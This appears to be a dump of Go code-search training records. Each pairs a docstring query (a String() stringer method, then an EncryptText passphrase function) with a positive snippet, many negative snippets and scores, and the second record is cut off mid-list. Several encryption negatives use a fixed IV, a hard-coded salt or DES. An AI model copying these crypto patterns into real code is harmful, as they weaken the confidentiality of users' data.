[ "0.7439621", "0.7374936", "0.7347353", "0.7344689", "0.71919066", "0.7176597", "0.7122419", "0.70673406", "0.7063164", "0.7062144", "0.704849", "0.69698185", "0.68966174", "0.6873915", "0.6834967", "0.68082905", "0.6718215", "0.6620609", "0.65087587", "0.64910537", "0.64239675", "0.6385288", "0.6324573", "0.6322561", "0.62799186", "0.624513", "0.62143695", "0.61833066", "0.6136978", "0.6125178", "0.6122375", "0.60761863", "0.607031", "0.6056787", "0.6034692", "0.6030396", "0.6025131", "0.60094374", "0.6009314", "0.60063523", "0.60058343", "0.60030127", "0.5994935", "0.5990397", "0.59742814", "0.59375024", "0.5933984", "0.5918946", "0.590891", "0.5904992", "0.59039056", "0.5879337", "0.5872833", "0.58686996", "0.58616275", "0.584245", "0.5838917", "0.5834827", "0.58346033", "0.5831985", "0.5826806", "0.58184046", "0.58120316", "0.58028054", "0.5785222", "0.57633257", "0.5762163", "0.57514834", "0.57435775", "0.5739597", "0.5736758", "0.57341284", "0.5733465", "0.5720012", "0.5709308", "0.5704764", "0.57009333", "0.569833", "0.5686118", "0.5676072", "0.5675759", "0.56750274", "0.5672056", "0.5671058", "0.5666843", "0.5658813", "0.5655501", "0.5644926", "0.56275564", "0.5622765", "0.56224793", "0.5615372", "0.5599528", "0.5596402", "0.55906045", "0.55902094", "0.55902094", "0.55902094", "0.55902094", "0.55902094", "0.55902094" ]
0.0
-1
String satisfies the stringer interface.
func (v nullVault) String() string { return "plain://text" }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (s simpleString) String() string { return string(s) }", "func (self StringEqualer) String() string {\n\treturn fmt.Sprintf(\"%s\", self.S)\n}", "func (e Str) String() string {\n\treturn fmt.Sprintf(\"%v\", e)\n}", "func (ms MyString) String() string {\n\treturn fmt.Sprintf(\"%s (%d)\", ms.str, ms.age)\n}", "func (s *S) String() string {\n\treturn fmt.Sprintf(\"%s\", s) // Sprintf will call s.String()\n}", "func (s *String) String() string {\n\treturn fmt.Sprintf(\"%d, %s\", s.Length, s.Get())\n}", "func (l settableString) String() string { return l.s }", "func (s *String) String() string {\n\tj, err := json.Marshal(string(s.s))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn string(j)\n}", "func (sf *String) String() string {\n\treturn sf.Value\n}", "func (v String) String() string {\n\treturn v.v\n}", "func (sk StringKey) String() string {\n\treturn fmt.Sprintf(\"StringKey{%s, str:%q}\", sk.Base.String(), sk.str)\n}", "func (s *StringStep) String() string {\n\treturn string(*s)\n}", "func String(v interface{}) string {\n\treturn StringWithOptions(v, nil)\n}", "func (s *Str) String() string {\n\treturn s.val\n}", "func (n Name) String() string {\n\treturn string(n)\n}", "func (n Name) String() string {\n\treturn string(n)\n}", "func String(s string, err error) string {\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\treturn s\n}", "func (s *LenString) String() string {\n\tif s == nil {\n\t\treturn \"<nil>\"\n\t}\n\treturn s.str\n}", "func (s *strslice) String() string {\n\treturn fmt.Sprintf(\"%s\", *s)\n}", "func (s NullString) String() string {\n\tif !s.s.Valid {\n\t\treturn \"\"\n\t}\n\treturn s.s.String\n}", "func (s StringReference) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (g Name) String() string {\n\treturn string(g)\n}", "func (s StringEntry) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (str JString) String() string {\n\ts, err := str.StringRaw()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn s\n}", "func (r StringBoundedStrictly) String() string { return StringBounded(r).String() }", "func String(v interface{}) string {\n\treturn v.(string)\n}", "func (s Sign) Str() string { return string(s[:]) }", "func (p person) String() string {\n\treturn fmt.Sprintf(\"The number is %d, and the name is %s\", p.num, p.name)\n}", "func (jz *Jzon) String() (s string, err error) {\n\tif jz.Type != JzTypeStr {\n\t\treturn s, expectTypeOf(JzTypeStr, jz.Type)\n\t}\n\n\treturn jz.data.(string), nil\n}", "func String(s string, width uint) string {\n\treturn StringWithTail(s, width, \"\")\n}", "func (s Standard) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s *StringValue) String() string {\n\treturn fmt.Sprintf(\"%s\", *s)\n}", "func (t Transformer) String(s string) string {\n\ts, _, err := transform.String(t, s)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\treturn s\n}", "func (s *OptionalString) String() string {\n\treturn s.Value\n}", "func (n name) String() string {\n\treturn fmt.Sprintf(n.Name)\n}", "func (s CreateFHIRDatastoreOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s *fakeString) String() string {\n\treturn s.content\n}", "func (s String) ToString() string {\n\treturn string(s)\n}", "func (enc *simpleEncoding) String() string {\n\treturn \"simpleEncoding(\" + enc.baseName + \")\"\n}", "func (s *Segment) String() string {\n\treturn fmt.Sprintf(\"%p = %s\", s, s.SimpleString())\n}", "func (n SStr) ToStr() string {\n\treturn string(n)\n}", "func String(length int) string {\n\treturn StringWithCharset(length, charset)\n}", "func (s Subject) String() string {\n\treturn fmt.Sprintf(\"%s, %s, %s\", s.AuthenticationInfo, s.AuthorizationInfo, s.Session)\n}", "func String(i I) string {\n\tswitch v := i.(type) {\n\tcase nil:\n\t\treturn \"\"\n\tcase bool:\n\t\treturn StringBool(v)\n\tcase Bytes:\n\t\treturn StringBytes(v)\n\tcase Dict:\n\t\treturn StringDict(v)\n\tcase error:\n\t\treturn `error: \"` + v.Error() + `\"`\n\tcase float64:\n\t\treturn StringF64(v)\n\tcase int:\n\t\treturn StringInt(v)\n\tcase uint:\n\t\treturn StringUint(v)\n\tcase int64:\n\t\treturn StringI64(v)\n\tcase uint64:\n\t\treturn StringUI64(v)\n\tcase Map:\n\t\treturn StringMap(v)\n\tcase Slice:\n\t\treturn StringSlice(v)\n\tcase string:\n\t\treturn v\n\tcase Stringer:\n\t\treturn v.String()\n\tdefault:\n\t\treturn fmt.Sprint(i)\n\t}\n}", "func (c identifier) String() string {\n\treturn string(c)\n}", "func String(length int) string {\n\treturn StringWithCharset(length, Charset)\n}", "func (s SequencerData) String() string {\n\treturn fmt.Sprintf(\"%T len %v\", s, s.Len())\n}", "func (s DescribeFHIRDatastoreOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (id UUID) String() string {\n\tvar buf [StringMaxLen]byte\n\tn := id.EncodeString(buf[:])\n\treturn string(buf[n:])\n}", "func (e *Engine) String(s string) Renderer {\n\treturn String(s)\n}", "func String(str string) Val { return Val{t: bsontype.String}.writestring(str) }", "func (s DeleteTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s DeleteFHIRDatastoreOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s CreateTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s UseCase) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (n NamespacedName) String() string {\n\treturn fmt.Sprintf(\"%s%c%s\", n.Namespace, Separator, n.Name)\n}", "func (p stringProperty) String() string {\n\tv, err := p.Value()\n\tif err != nil {\n\t\treturn fmt.Sprintf(\"invalid %v: %v\", p.name, err)\n\t}\n\treturn fmt.Sprintf(\"%v=%v\", p.name, v)\n}", "func (p *Profile) String(s string) (string, error) {\n\treturn processString(p, s, false)\n}", "func (s DeleteRoomOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s DeleteComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (p *PN) String() string {\n\t// find the right slice length first to efficiently allot a []string\n\tsegs := make([]string, 0, p.sliceReq())\n\treturn strings.Join(p.string(\"\", segs), \"\")\n}", "func (r *Rope) String() string {\n\treturn r.Substr(0, r.runes)\n}", "func (s ImportComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s ReEncryptOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (js jsonString) string() (s string, err error) {\n\terr = json.Unmarshal(js.bytes(), &s)\n\treturn s, err\n}", "func (ctx *Context) String(str string) {\n\tfmt.Fprintf(ctx.writer, \"%s\", str)\n}", "func (s *fakeString) Stringer() string {\n\treturn s.content\n}", "func (s PlainTextMessage) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (v *IntString) String() string {\n\treturn string(*v)\n}", "func (ps *PrjnStru) String() string {\n\tstr := \"\"\n\tif ps.Recv == nil {\n\t\tstr += \"recv=nil; \"\n\t} else {\n\t\tstr += ps.Recv.Name() + \" <- \"\n\t}\n\tif ps.Send == nil {\n\t\tstr += \"send=nil\"\n\t} else {\n\t\tstr += ps.Send.Name()\n\t}\n\tif ps.Pat == nil {\n\t\tstr += \" Pat=nil\"\n\t} else {\n\t\tstr += \" Pat=\" + ps.Pat.Name()\n\t}\n\treturn str\n}", "func (id ID) String() string {\n\ttext := make([]byte, encodedLen)\n\tencode(text, id[:])\n\treturn *(*string)(unsafe.Pointer(&text))\n}", "func (s ResolveRoomOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (id SoldierID) String() string {\n\treturn fmt.Sprintf(\"%s (%s)\", id.Name, id.Faction)\n}", "func (g *Generic) String() string {\n\tparamStr := make([]string, len(g.Params))\n\tfor i, pr := range g.Params {\n\t\tparamStr[i] = pr.String()\n\t}\n\n\treturn fmt.Sprintf(\"{Header: %s, Params: %s}\",\n\t\tg.Header.String(),\n\t\tparamStr,\n\t)\n}", "func (sr *StringResult) String() (string, error) {\n\treturn redis.String(sr.val, nil)\n}", "func (m Interface) String() string {\n\treturn StringRemoveGoPath(m.Name)\n}", "func (i *IE) String() string {\n\tif i == nil {\n\t\treturn \"nil\"\n\t}\n\treturn fmt.Sprintf(\"{%s: {Type: %d, Length: %d, Payload: %#v}}\",\n\t\ti.Name(),\n\t\ti.Type,\n\t\ti.Length,\n\t\ti.Payload,\n\t)\n}", "func (s DescribeTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s VerbatimString) String() string { return _verbatimString(s).String() }", "func (s Component) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (chars *Chars) String() string {\n\treturn fmt.Sprintf(\"Chars{slice: []byte(%q), inBytes: %v, trimLengthKnown: %v, trimLength: %d, Index: %d}\", chars.slice, chars.inBytes, chars.trimLengthKnown, chars.trimLength, chars.Index)\n}", "func (s TrialComponent) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s CreateComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s GetComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (sid *Shortid) String() string {\n\treturn fmt.Sprintf(\"Shortid(worker=%v, epoch=%v, abc=%v)\", sid.worker, sid.epoch, sid.abc)\n}", "func (s SafeID) String() string {\n\treturn platform.ID(s).String()\n}", "func (s UpdateTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (b *Basic) String() string {\n\tb.mux.RLock()\n\tdefer b.mux.RUnlock()\n\n\tif b.name != \"\" {\n\t\treturn b.name\n\t}\n\treturn fmt.Sprintf(\"%T\", b.target)\n}", "func (s AssociateTrialComponentOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s StringFilter) String() string {\n\treturn awsutil.Prettify(s)\n}", "func String(value interface{}) (string, error) {\n\tif value == nil {\n\t\treturn \"\", nil\n\t}\n\tswitch value.(type) {\n\tcase bool:\n\t\tif value.(bool) {\n\t\t\treturn \"true\", nil\n\t\t} else {\n\t\t\treturn \"false\", nil\n\t\t}\n\tcase string:\n\t\treturn value.(string), nil\n\tcase *big.Rat:\n\t\treturn strings.TrimSuffix(strings.TrimRight(value.(*big.Rat).FloatString(20), \"0\"), \".\"), nil\n\tcase time.Time:\n\t\tt := value.(time.Time)\n\t\tif t.Location().String() == \"DATE\" {\n\t\t\treturn t.Format(FORMAT_DATE), nil\n\t\t} else if t.Location().String() == \"TIME\" {\n\t\t\treturn t.Format(FORMAT_TIME), nil\n\t\t} else {\n\t\t\treturn t.Format(FORMAT_DATETIME), nil\n\t\t}\n\t}\n\treturn \"\", errors.New(fmt.Sprint(\"cannot convert to a string: \", value))\n}", "func (s ResourceIdentifier) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (p prefix) String() string {\n\tpStr := string(p)\n\tswitch pStr {\n\tcase string(SimpleStringPrefix):\n\t\treturn \"simple-string\"\n\tcase string(ErrorPrefix):\n\t\treturn \"error\"\n\tcase string(IntPrefix):\n\t\treturn \"integer\"\n\tcase string(BulkStringPrefix):\n\t\treturn \"bulk-string\"\n\tcase string(ArrayPrefix):\n\t\treturn \"array\"\n\tdefault:\n\t\treturn pStr\n\t}\n}", "func (s CreateDomainNameOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s InternalServerError) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (w *Writer) String(s string) {\n\tw.RawByte('\"')\n\tw.StringContents(s)\n\tw.RawByte('\"')\n}", "func (s RenderingEngine) String() string {\n\treturn awsutil.Prettify(s)\n}", "func String(length int) string {\n\treturn StringWithCharset(length, alphanumericCharset)\n}", "func (s RetryStrategy) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (msg *Message) String() string {\n\treturn msg.Render()\n}", "func (s RegisterUsageOutput) String() string {\n\treturn awsutil.Prettify(s)\n}" ]
[ "0.785296", "0.77519125", "0.76875526", "0.7563841", "0.7521477", "0.75210935", "0.74137986", "0.7343098", "0.730117", "0.7157921", "0.71560234", "0.7147634", "0.7126233", "0.7075471", "0.70014644", "0.70014644", "0.6991334", "0.6963718", "0.694869", "0.69428533", "0.6929566", "0.6901473", "0.689105", "0.6872875", "0.6847351", "0.6843777", "0.68347967", "0.68135226", "0.6810395", "0.68093836", "0.6803575", "0.68020946", "0.6796546", "0.679217", "0.6781149", "0.67780745", "0.6776015", "0.6770642", "0.6770357", "0.6770281", "0.67452997", "0.6740768", "0.673582", "0.6731112", "0.67216235", "0.6721071", "0.6687491", "0.6676967", "0.666172", "0.66600937", "0.6657894", "0.6656026", "0.6652012", "0.66501075", "0.6645083", "0.66421735", "0.6630756", "0.6630096", "0.66262555", "0.6622332", "0.66207063", "0.66147023", "0.66143554", "0.6598601", "0.6595803", "0.65953386", "0.6593894", "0.6593203", "0.659051", "0.6588866", "0.6587837", "0.65852994", "0.6583141", "0.6582168", "0.65818906", "0.65810204", "0.6579682", "0.6577862", "0.65756726", "0.6575244", "0.65680915", "0.65665007", "0.65615517", "0.6555273", "0.6548767", "0.6545658", "0.65454984", "0.6543233", "0.65424865", "0.6540538", "0.6538998", "0.653875", "0.65332365", "0.653206", "0.6531168", "0.6527641", "0.65244645", "0.6521524", "0.65142673", "0.6509772", "0.6508459" ]
0.0
-1
EncryptText encrypts text using a passphrase given a specific the env variable
func (v envVault) EncryptText(text string) (string, error) { return EncryptText(text, v.passPhrase) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func Encrypt(text string) (string, error) {\n\tencKey := os.Getenv(\"ENC_KEY\")\n\tencIv := os.Getenv(\"ENC_IV\")\n\tkey := []byte(encKey)\n\tiv := []byte(encIv)\n\tplainText := []byte(text)\n\tplainText, err := pad(plainText, aes.BlockSize)\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(`plainText: \"%s\" has error`, plainText)\n\t}\n\tif len(plainText)%aes.BlockSize != 0 {\n\t\terr := fmt.Errorf(`plainText: \"%s\" has the wrong block size`, plainText)\n\t\treturn \"\", err\n\t}\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcipherText := make([]byte, len(plainText))\n\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(cipherText, plainText)\n\n\treturn base64.StdEncoding.EncodeToString(cipherText), nil\n}", "func (v passPhraseVault) EncryptText(text string) (string, error) {\n\treturn EncryptText(text, v.passPhrase)\n}", "func (v nullVault) EncryptText(text string) (string, error) {\n\treturn text, nil\n}", "func EncryptText(c context.Context, api KMSEncryptAPI, input *kms.EncryptInput) (*kms.EncryptOutput, error) {\n\treturn api.Encrypt(c, input)\n}", "func encrypt(msg string) string {\n\tencryptionPassphrase := []byte(Secret)\n\tencryptionText := msg\n\tencryptionType := \"PGP SIGNATURE\"\n\n\tencbuf := bytes.NewBuffer(nil)\n\tw, err := armor.Encode(encbuf, encryptionType, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tplaintext, err := openpgp.SymmetricallyEncrypt(w, encryptionPassphrase, nil, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tmessage := []byte(encryptionText)\n\t_, err = plaintext.Write(message)\n\n\tplaintext.Close()\n\tw.Close()\n\t//fmt.Printf(\"Encrypted:\\n%s\\n\", encbuf)\n\treturn encbuf.String()\n}", "func TestEncryptionEncryptByPassPhrase(t *testing.T) {\n\tpassPhrase := \"123\"\n\tplaintext := []byte{1, 2, 3, 4}\n\n\tciphertextStr, err := encryptByPassPhrase(passPhrase, plaintext)\n\tfmt.Println(\"ciphertextStr : \", ciphertextStr)\n\n\tassert.Equal(t, nil, err)\n\tassert.Greater(t, len(ciphertextStr), 0)\n\n\tplaintext2, err := decryptByPassPhrase(passPhrase, ciphertextStr)\n\tassert.Equal(t, plaintext, plaintext2)\n}", "func encrypt(key []byte, text string) string {\n\t// key needs tp be 16, 24 or 32 bytes.\n\tplaintext := []byte(text)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func Encriptar(text string) string {\n\thash, err := bcrypt.GenerateFromPassword([]byte(text), bcrypt.DefaultCost)\n\tif err != nil {\n\t\tfmt.Println(\"no se pudo encriptar el text\")\n\t\treturn text\n\t}\n\treturn string(hash)\n}", "func Encrypt(key string, text string) (string, error) {\n\n // decode PEM encoding to ANS.1 PKCS1 DER\n block, _ := pem.Decode([]byte(key))\n pub, err := x509.ParsePKIXPublicKey(block.Bytes)\n pubkey, _ := pub.(*rsa.PublicKey) \n\n // create the propertiess\n message := []byte(text)\n label := []byte(\"\")\n hash := sha256.New()\n\n ciphertext, err := rsa.EncryptOAEP(hash, rand.Reader, pubkey, message, label)\n return string(base64.StdEncoding.EncodeToString(ciphertext)), err\n\n}", "func (a Aes) Encrypt(text string) (string, error) {\n\treturn a.encrypt([]byte(a.Key), text)\n}", "func encrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tb := base64.StdEncoding.EncodeToString(text)\n\tciphertext := make([]byte, aes.BlockSize+len(b))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn nil, err\n\t}\n\tcfb := cipher.NewCFBEncrypter(block, iv)\n\tcfb.XORKeyStream(ciphertext[aes.BlockSize:], []byte(b))\n\treturn ciphertext, nil\n}", "func Encrypt(text string) (encryptedText string, err error) {\n\n\t// validate key\n\tif err = initKey(); err != nil {\n\t\treturn\n\t}\n\n\t// create cipher block from key\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tplaintext := []byte(text)\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, rErr := io.ReadFull(rand.Reader, iv); rErr != nil {\n\t\terr = fmt.Errorf(\"iv ciphertext err: %s\", rErr)\n\t\treturn\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\tencryptedText = base64.URLEncoding.EncodeToString(ciphertext)\n\n\treturn\n}", "func (w *KeystoreWallet) SignTextWithPassphrase(passphrase string, text []byte) ([]byte, error) {\n\t// Account seems valid, request the keystore to sign\n\treturn w.Keystore.SignHashWithPassphrase(w.Account, passphrase, accounts.TextHash(text))\n}", "func Encrypt(plainText []byte, nonceBase64 string, key []byte) []byte {\n\tplainBase64 := make([]byte, base64.StdEncoding.EncodedLen(len(plainText)))\n\tbase64.StdEncoding.Encode(plainBase64, plainText)\n\n\tnonce := make([]byte, base64.StdEncoding.DecodedLen(len(nonceBase64)))\n\tbase64.StdEncoding.Decode(nonce, []byte(nonceBase64))\n\n\tnonceArray := &[nonceLen]byte{}\n\tcopy(nonceArray[:], nonce)\n\n\tencKey := &[keyLen]byte{}\n\tcopy(encKey[:], key)\n\n\tcypherText := []byte{}\n\tcypherText = secretbox.Seal(cypherText, plainText, nonceArray, encKey)\n\tcypherBase64 := make([]byte, base64.StdEncoding.EncodedLen(len(cypherText)))\n\tbase64.StdEncoding.Encode(cypherBase64, cypherText)\n\treturn cypherBase64\n}", "func Encrypt(key []byte, text string) string {\n\t// key := []byte(keyText)\n\tplaintext := []byte(text)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(randCry.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func (f EnvFile) Encrypted(passphrase *validate.Passphrase) EnvFile {\n\tfor kApp, vApp := range f.Apps {\n\t\tfor kProfile, vProfile := range vApp.Profiles {\n\t\t\tfor k, v := range vProfile.Vars {\n\t\t\t\tif v.Encrypted {\n\t\t\t\t\tenv, err := secure.Encrypt(v.Value, passphrase.Password())\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tfmt.Println(\"Could not encrypt var:\", k)\n\t\t\t\t\t\tv.Value = \"\"\n\t\t\t\t\t} else {\n\t\t\t\t\t\tv.Value = env\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tf.Apps[kApp].Profiles[kProfile].Vars[k] = v\n\t\t\t}\n\t\t}\n\t}\n\n\treturn f\n}", "func Encrypt(key []byte, text []byte) string {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Creating IV\n\tciphertext := make([]byte, aes.BlockSize+len(text))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Encrpytion Process\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], text)\n\n\t// Encode to Base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func encrypt(aesKey []byte, plainText []byte, associatedData []byte) ([]byte, error) {\n\tcipher, err := subtle.NewAESGCM(aesKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to initialize cipher: %v\", err)\n\t}\n\treturn cipher.Encrypt(plainText, associatedData)\n}", "func Encrypt(key []byte, text string) string {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tplaintext := []byte(fmt.Sprint(text))\n\tcfb := cipher.NewCFBEncrypter(block, iv)\n\tcipherText := make([]byte, len(plaintext))\n\tcfb.XORKeyStream(cipherText, plaintext)\n\treturn encodeBase64(cipherText)\n}", "func SecretPhrase(w http.ResponseWriter, r *http.Request) {\n unknown := \"Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkg\\n\" +\n \"aGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBq\\n\" +\n \"dXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUg\\n\" +\n \"YnkK\"\n\n\tgetVars, err := url.ParseQuery(r.URL.RawQuery)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdata := getVars.Get(\"input\")\n\tfmt.Println(\"Input:\", data)\n decoded, _ := base64.StdEncoding.DecodeString(unknown)\n amended := append([]byte(data), decoded...)\n padded := AddPadding(amended, keysize)\n\n w.Write(ECBEncrypt(key, padded))\n}", "func Encrypt(str string) (string, error) {\n\tblock, err := aes.NewCipher([]byte(os.Getenv(\"ENC_KEY\")))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t//IV needs to be unique, but doesn't have to be secure.\n\t//It's common to put it at the beginning of the ciphertext.\n\tcipherText := make([]byte, aes.BlockSize+len(str))\n\tiv := cipherText[:aes.BlockSize]\n\tif _, err = io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(cipherText[aes.BlockSize:], []byte(str))\n\n\t//returns to base64 encoded string\n\tencmess := base64.URLEncoding.EncodeToString(cipherText)\n\treturn encmess, nil\n}", "func Encrypt(pt string) string {\n\tvar (\n\t\tround_keys = make([]string, 16)\n\t)\n\tgenerate_keys(key, &round_keys)\n\tfmt.Printf(\"before encrtypting - %v\\n\", pt)\n\tct := DES(pt, round_keys)\n\tfmt.Printf(\"after encrtypting - %v\\n\", ct)\n\treturn ct\n}", "func encryptConfig(key []byte, clearText []byte) (string, error) {\n\tsecret := &AESSecret{}\n\tcipherBlock, err := initBlock()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonce, err := randomNonce(12)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsecret.Nonce = nonce\n\n\tgcm, err := cipher.NewGCM(cipherBlock)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsecret.CipherText = gcm.Seal(nil, secret.Nonce, clearText, nil)\n\n\tjsonSecret, err := json.Marshal(secret)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(jsonSecret), nil\n}", "func encrypt(key string, plaintext string) string {\n\tvar iv = []byte{83, 71, 26, 58, 54, 35, 22, 11,\n\t\t83, 71, 26, 58, 54, 35, 22, 11}\n\tderivedKey := pbkdf2.Key([]byte(key), iv, 1000, 48, sha1.New)\n\tnewiv := derivedKey[0:16]\n\tnewkey := derivedKey[16:48]\n\tplaintextBytes := pkcs7Pad([]byte(plaintext), aes.BlockSize)\n\tblock, err := aes.NewCipher(newkey)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tn := aes.BlockSize - (len(plaintext) % aes.BlockSize)\n\tciphertext := make([]byte, len(plaintext)+n*2)\n\tmode := cipher.NewCBCEncrypter(block, newiv)\n\tmode.CryptBlocks(ciphertext, plaintextBytes)\n\tcipherstring := base64.StdEncoding.EncodeToString(ciphertext[:len(ciphertext)-n])\n\treturn cipherstring\n}", "func Encrypt(key []byte, text string) string {\n\tplaintext := []byte(text)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func Encrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tb := base64.StdEncoding.EncodeToString(text)\n\tciphertext := make([]byte, aes.BlockSize+len(b))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn nil, err\n\t}\n\tcfb := cipher.NewCFBEncrypter(block, iv)\n\tcfb.XORKeyStream(ciphertext[aes.BlockSize:], []byte(b))\n\treturn ciphertext, nil\n}", "func RSAEncryptText(target string, text string) string {\n\ttextBytes := []byte(text)\n\thash := utils.HASH_ALGO.New()\n\tpubKeyBytes, e := hex.DecodeString(target)\n\tutils.HandleError(e)\n\tpubKey, e := x509.ParsePKCS1PublicKey(pubKeyBytes)\n\tutils.HandleError(e)\n\tctext := \"\"\n\n\tchunkSize, e := utils.GetMaxEncodedChunkLength(pubKey)\n\tutils.HandleError(e)\n\n\tfor i := 0; i < len(textBytes); {\n\t\tj := int(math.Min(float64(len(textBytes)), float64(i+chunkSize)))\n\t\tel, e := rsa.EncryptOAEP(hash, rand.Reader, pubKey, textBytes[i:j], nil)\n\t\tutils.HandleError(e)\n\t\tctext += string(el)\n\t\ti = j\n\t}\n\treturn ctext\n}", "func (v envVault) DecryptText(text string) (string, error) {\n\treturn DecryptText(text, v.passPhrase)\n}", "func (o *CTROracle) Encrypt(plaintext string) []byte {\n\ttemp := strings.Replace(plaintext, \"=\", \"'='\", -1)\n\tsanitized := strings.Replace(temp, \";\", \"';'\", -1)\n\ttoEncrypt := \"comment1=cooking%20MCs;userdata=\" + sanitized + \";comment2=%20like%20a%20pound%20of%20bacon\"\n\n\tctr := stream.NewCTR(o.Key, o.Nonce)\n\treturn 